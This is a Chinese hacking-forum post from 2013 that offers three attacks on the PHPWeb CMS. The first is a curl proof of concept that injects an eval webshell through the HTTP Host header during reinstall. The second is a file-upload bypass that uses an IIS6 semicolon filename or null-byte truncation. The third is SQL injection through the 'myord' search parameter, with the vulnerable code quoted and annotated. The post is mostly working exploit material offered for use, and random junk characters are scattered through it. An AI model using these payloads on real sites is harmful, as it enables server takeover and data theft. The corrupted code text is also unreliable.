找回密码
 立即注册
查看: 2782|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
" r5 f9 F# V' E7 h
; [0 z1 ?: d3 e" L0 n7 L之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! E, \( Y" z# ^  \
- x; f8 A& w. A- |6 B. |
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 Z: p0 e, R: i) r, R. J
鸡肋2: 有一定安全常识的站长都会删掉 install 目录! }5 r" T$ C4 Y  b1 ?

9 P: |) u, d  q* Y/ y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, R/ `& \5 }1 [$ b

# }" V% V5 h" ]7 E. r4 J分析:
; U. {( l/ z0 u9 t8 n' H ' H+ K# g+ F! d
4 _* D" f+ h+ F
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
" I+ Z2 `# m" |* G2 S2 j2 @7 B( | 8 ]4 g0 {; u. O: |: L
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);9 C$ Z3 Z! F% w6 U
                                            $filestr=str_replace(" ","",$filestr);  r5 ]9 M+ t7 A0 d- ?* V
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: c5 k8 m5 ?5 n; q, T; o, M
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 V7 N8 O5 C" e* U7 z" H/ E                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ R2 ^4 c* k$ ~8 \7 @                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
" o* q# h; }) E- w6 c; d                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 }; }! |  `' P4 N- p, t% F
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 M' l% [/ H) u9 Q4 f* q/ p                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. _1 T* V$ e5 I$ B3 ^

+ p# a! ?6 }5 P. q5 _                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
7 F# v6 k# p% e+ K% `9 Z$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^' l$ L7 _* {+ S) \/ K

' B8 Q* F9 `8 J5 \  Cpoc:4 |6 }4 o. D6 L) H5 q$ j/ g

4 e8 n1 h; F, V?2 N3 w! {, R% I5 O& c% z
1
" f. @$ R( s2 Icurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"& i/ I7 Z% z6 P2 Z0 w: X
shell地址: /config.inc.php
: y, `3 \: g4 H; ?跟之前的 phpcms一样 需要远程数据库- b5 h+ s2 W6 Z0 S# m& S; @

2 R0 S* Q4 U' w$ Z——————————————————–
9 J: D# N) u1 B3 y7 x上传漏洞(需要进后台):+ Z) O$ O0 b: I& j, c- ?# W+ a/ q5 w2 p
漏洞文件: /kedit/upload_cgi/upload.php
3 X; g; P  t% x- x! n这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用! l+ S  t  E$ f, Z2 e" B
, t4 |, F0 O2 h6 p$ G# S0 S* h2 X
  R7 K: B' f* {, d: G8 V, y' `
<?php
) h; B% E" R" G$ h) @2 p) U    define("ROOTPATH", "../../");
; S, o* P- R2 o- p& w6 G8 f! h3 p    include(ROOTPATH."includes/admin.inc.php");: v+ B- b: o* G" s0 `
    NeedAuth(0);
- j6 t' u$ v4 [ : f5 m: ?1 M4 q9 v
    $dt=date("Ymd",time());/ w5 g! |- W4 o! R6 n' p
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 o" C0 P- @7 @3 `" z. p# w4 C* x( {            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
/ [9 L& ~. Q- \7 b5 t0 B9 B" D    }
! }, O: O) D8 d' i/ A
; f, m7 N: S( H8 w. [. J# \    //文件保存目录路径3 n  ?3 K2 N) K6 \+ b8 B$ V
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; G, ^) X: q+ a) o& Z    echo $save_path;
4 j- R- O' r7 [6 D8 @# ~    //文件保存目录URL
( e- w3 m7 \" O2 g$ ^    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
% S! A8 e0 m2 K
3 @' A4 J1 ^' o6 C" O, X) D; i! p    //定义允许上传的文件扩展名) H7 S7 R4 _4 j& X
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀+ X2 ~( E+ J  |3 V  O: V, @; X

4 K2 G; C9 J6 z' h/ `    //最大文件大小
/ d! J4 c7 K/ S& w5 {% u    $max_size = 1000000;% o1 p+ W+ K$ p9 W" a" |

( J4 U+ t# l0 M8 |5 L; N    //更改目录权限" c2 o$ E7 {! I2 n# \; N
    @mkdir($save_path, 0777);! E! d5 `4 ^4 _- x  O, d) y) z) B

$ T% G. K5 M/ Y3 f- p; V, L- [; _' z    //文件的全部路径
+ {; L' Y5 J1 R    $file_path = $save_path.$_POST['fileName'];   //保存文件名" a, O3 z( {0 x' E" b

! _9 y4 f& h) D8 T- Q    //文件URL9 ]% Y: {% D2 N  O% Z) N, T
    $file_url = $save_url.$_POST['fileName'];
" P/ P3 K% x9 q' s* U9 V3 H3 O& v//有上传文件时6 J* X' s$ B2 p9 H( I9 H
    if (empty($_FILES) === false) {
# Z9 _8 x- Q6 O # q# [4 ^- Y) F1 @2 W. a
            //原文件名& }0 L( o$ g/ F5 \" C
            $file_name = $_FILES['fileData']['name'];
, t8 q) L1 y0 Y            //服务器上临时文件名8 p3 c# u/ ^, q) g( k, I3 \5 j
            $tmp_name = $_FILES['fileData']['tmp_name'];3 B( d$ ]+ W5 {/ T% S7 Z
            //文件大小
# F9 C; N( n, v# |! l            $file_size = $_FILES['fileData']['size'];. O) N: _* ]) q9 r2 C
            //检查目录
, m8 ^, e1 j) V9 m, y( r+ V  F+ Q            if (@is_dir($save_path) === false) {
0 _. [: f! b. d$ z4 W                    alert("上传目录不存在。");  y. O, r7 ^! ~+ q
            }
9 T2 }0 ^' k; n& x3 K* Z0 |            //检查目录写权限" F' j# Y/ g$ {8 J
            if (@is_writable($save_path) === false) {" _% I1 i: D; m$ n' t
                    alert("上传目录没有写权限。");  q' T: t3 t2 Y6 m5 ^! n7 D
            }9 _# t' ^4 E$ E+ G( M/ b
            //检查是否已上传6 z, p, n, Y7 M7 E7 x& d
            if (@is_uploaded_file($tmp_name) === false) {
- X* a/ A( b+ x  T! V                    alert("临时文件可能不是上传文件。");
5 s/ O1 p' T: Z* W            }# A& X- B( F! E# k1 w+ y$ ?( D
            //检查文件大小" P2 y* Q- p0 L- }! R8 l* i* Q" E3 d- D
            if ($file_size > $max_size) {
1 v9 z# n+ S" Q0 D                    alert("上传文件大小超过限制。");* M# m9 u1 V' f9 V2 Z4 x) x
            }7 ?. P8 q9 D, i& ^
            //获得文件扩展名2 v; U0 S) d2 u
            $temp_arr = explode(".", $_POST['fileName']);
' s" ~) V( N. Y7 R$ R; ~            $file_ext = array_pop($temp_arr);+ `) |5 r$ S8 ]1 q6 C2 w
            $file_ext = trim($file_ext);
3 |0 g0 L9 `3 |3 Z            $file_ext = strtolower($file_ext);) M7 `! u( l% J8 G/ r) ~( m
( X. @8 g2 d  \6 p% H2 Q% z
            //检查扩展名   . C0 a/ J: H: c8 [% }7 {
            if (in_array($file_ext, $ext_arr) === false) {     . o6 |/ }2 w3 v
                    alert("上传文件扩展名是不允许的扩展名。");$ n6 V; {* y& C: e6 L, r7 R7 t
            }
; l; [2 |8 z* ~: @- e ; |1 I& u3 v/ P1 T" `" Q
            //移动文件   ! T4 v' b  e% q. W  n$ k
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^' Q" q7 n$ f" W6 D2 G' ]- `
            if (move_uploaded_file($tmp_name, $file_path) === false) {
( s2 a( T  f( P4 O! T6 O                    alert("上传文件失败。");& @( l: F% X  p& w$ |. K
            }
2 c) I: w! l# X( T3 n& o3 \
1 C! v# h+ S+ V- l            @chmod($file_path,0666);
6 V4 V( z( t( `) Q* C) Q
8 Q, ^% _8 A* ^6 t* M    ?>6 ]% g  Z! s4 \3 |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
) B; Y) ?5 p2 c* ^+ Z5 i ) Y. Y" w4 A" C0 d' ~/ z. q+ t  f
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过+ C' c$ O$ r) X3 P4 ?5 N2 E6 Z

/ X5 D- ~# c& I——————————————————
# V7 _9 |' T& t3 N2 }0 Z注入漏洞:; \  A) w* Q3 K/ F+ D( k
漏洞文件:search/module/search.php
# o8 n* l8 B+ ^. p/ |) }/search/index.php?key=1&myord=1 [sqlinjection]' M5 [$ m6 x6 i- o: v- E: U

: g7 N7 _& x2 E! m! k
2 B6 n0 ?3 K' E6 c1 d" X<?php
% G* a, b$ m8 W4 _/ R9 f   //       ... 省略 n 行...
7 z4 ^- M: h. k6 \1 c$ b  ~7 B5 @   //第18行:: B1 z- ?4 b- _* b4 S0 f( d
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
  g# ~# F" m2 _# ]' l& P           $page=htmlspecialchars($_GET["page"]);
% R$ o5 a' @3 l' n           $myord=htmlspecialchars($_GET["myord"]);9 W3 ]3 Q: b4 A) S1 K

/ L2 d; G6 l; t4 I. I   //       ... 省略 n 行...6 B; z4 ]: d/ V" K
   $key,$myord 两个参数带入查询
2 [, s# m& k( ~6 v   //第47行 $key:
6 H* }, |3 B/ C/ [4 r) }0 `   y8 {# h  n. S0 ^
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..; }, I8 e- T- B; R" ~* z. B% m
7 N% M, b& R" ~8 M$ _
   //第197行 $myord
2 @; z% }4 I: [4 K+ n8 w; v   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
6 h  C. O( ?- f( j) I3 x3 Y% D
! ~) [4 O& [5 \   ?>
7 t. _7 Q. A: x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表